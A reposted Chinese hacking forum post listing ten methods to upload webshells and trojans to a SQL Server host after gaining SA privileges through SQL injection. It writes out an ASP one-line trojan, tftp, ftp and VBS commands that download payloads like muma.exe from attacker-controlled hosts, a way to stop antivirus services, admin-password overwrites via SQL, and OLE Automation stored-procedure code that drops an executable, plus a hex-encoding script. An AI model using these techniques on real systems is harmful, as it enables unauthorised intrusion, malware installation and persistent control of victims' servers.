剛看了一種方法,如果是注入點,利用管中窺豹以二進制的方式上傳,上傳的時候最好改下名,比如do.exe,上傳到目標服務器可以改成do.cmd,等傳上去之后用copy 命令改回來。
當然用啊d也可以上傳,還有nbsi。
SA 權限權利非常大,但可能有的朋友感覺使用起來不方便,接下來和大家一起討論幾種上傳文件的方法,如果還有別的方法,希望大家提出,技術越辯起明,越明越高。
一、NBSI的命令方法:寫入一句話木SHELL,命令如下: echo ^<%eval request("#")%^> >d:/web/mm.asp這樣要寫入一句話木馬,如果說被殺軟,KILL掉,就可以連上去了。net stop "服務名"可以停掉服務。
二、NBSI3。0自帶文件上傳功能,也可以使用。缺點速度慢。建議上傳短小的WEBSHELL。
三、把一句話木馬與入數據庫,然后利用NBSI數據庫差異備份功能。
四、如網站有論壇且開放上傳附件功能,可直接在論壇上傳文件(把WEBSHELL改成可能上傳的文件類型,如JPG,GIF)
五、利用NBSI等注入工具,瀏覽網站數據庫連接文件(前提數據庫和WEB在一臺機器上,可利用IPCNFIG /ALL命令判斷)找出SA的連接密碼。利用MSSQL2000自帶的事件查詢分析器,連數庫機器,通過瀏覽數據庫找出后臺密碼,如果是MD5可利用 UPDATE語句進行更改也可利用INSERT加入一新用戶,不用在爆破MD5,進入后臺,尋找上傳WEBSHELL方法。
六、tftp命令法: TFTP [-i] host [GET | PUT] source [destination] 首先在自己的機器或已經控制的肉雞上開TFTP服務,工具:TFTP32.EXE不錯。比如:肉雞 IP:192.168.1.1 具有SA權限的機器是192.168.1.2 執行命令: tftp -i 192.168.1.1 get webshell.asp d:/web/webshell.asp 如果成功,就會在192.168.1.2的D盤web 目錄下生成文件:webshell.asp
七、ftp方法:前提是有一個可訪問的外網FTP空間().命令ECHO命令,前面講的方法:在目標機器上生成文件ftp.txt
echo open www.ftp.com>ftp.TXT //連接FTP
echo username>>ftp.TXT?????? //輸入用戶名
echo password>>ftp.TXT?????? //輸入密碼
echo get webshell.asp d:/web/webshell.asp>>ftp.TXT //執行下載命令
echo bye>>ftp.TXT???????????? //退出
ftp -s:ftp.txt??????????????? //執行FTP.TXT文件中的FTP命令
八、vbs腳本方法:
利用ECHO命令寫入文件: get.vbs,內容如下:
On Error Resume Next
Dim iRemote,iLocal
iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2
然后命令行下執行:cscript get.vbs http://ip/muma.exe c:/muma.exe
九、start命令法,此方法不常用,但也是一種方法,
start http://ip/a.html這候a.html文件以及它包括的圖片會保存在機器的,如果我們把自己的程序改名為a.jpg嵌套在a.html中這時候可以下載到IE緩存中。可以利用dir /s a*.jpg進行搜索。如搜索到,可以利用COPY命令復制出來。
十、自然找到了一種方法很好用。
第一步先恢復
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ole Automation Procedures',1
reconfigure
第二步
DECLARE @ObjectToken INT
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken, 'Type', 1
EXEC sp_OAMethod @ObjectToken, 'Open'
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, 'mssql.exe', 2 把16進制恢復exe 名字為 mssql
EXEC sp_OAMethod @ObjectToken, 'Close'
EXEC sp_OADestroy @ObjectToken
go
mssql.exe需要十六進制轉換。用了一段vbs,代碼如下。
On Error Resume Next
FilePath = Wscript.Arguments(0)
FieName = Right(FilePath, Len(FilePath) - InStrRev(FilePath, "/"))
With CreateObject("Adodb.Stream")
.Type = 1: .open: .loadfromfile FilePath: Str = .read: Sl = LenB(Str)
End With
Sll = Sl Mod 65536: Slh = Sl / 65536
With CreateObject("Scripting.FileSystemObject").OpenTextFile(FilePath & ".txt", 2, True)
.Write "0x"
For i = 1 To Sl
bt = AscB(MidB(Str, i, 1))
If bt < 16 Then .Write "0"
.Write Hex(bt)
Next
End With
用法 1.vbs 1.exe
轉自:http://www.cqzh.cn/post/SA上傳方法.html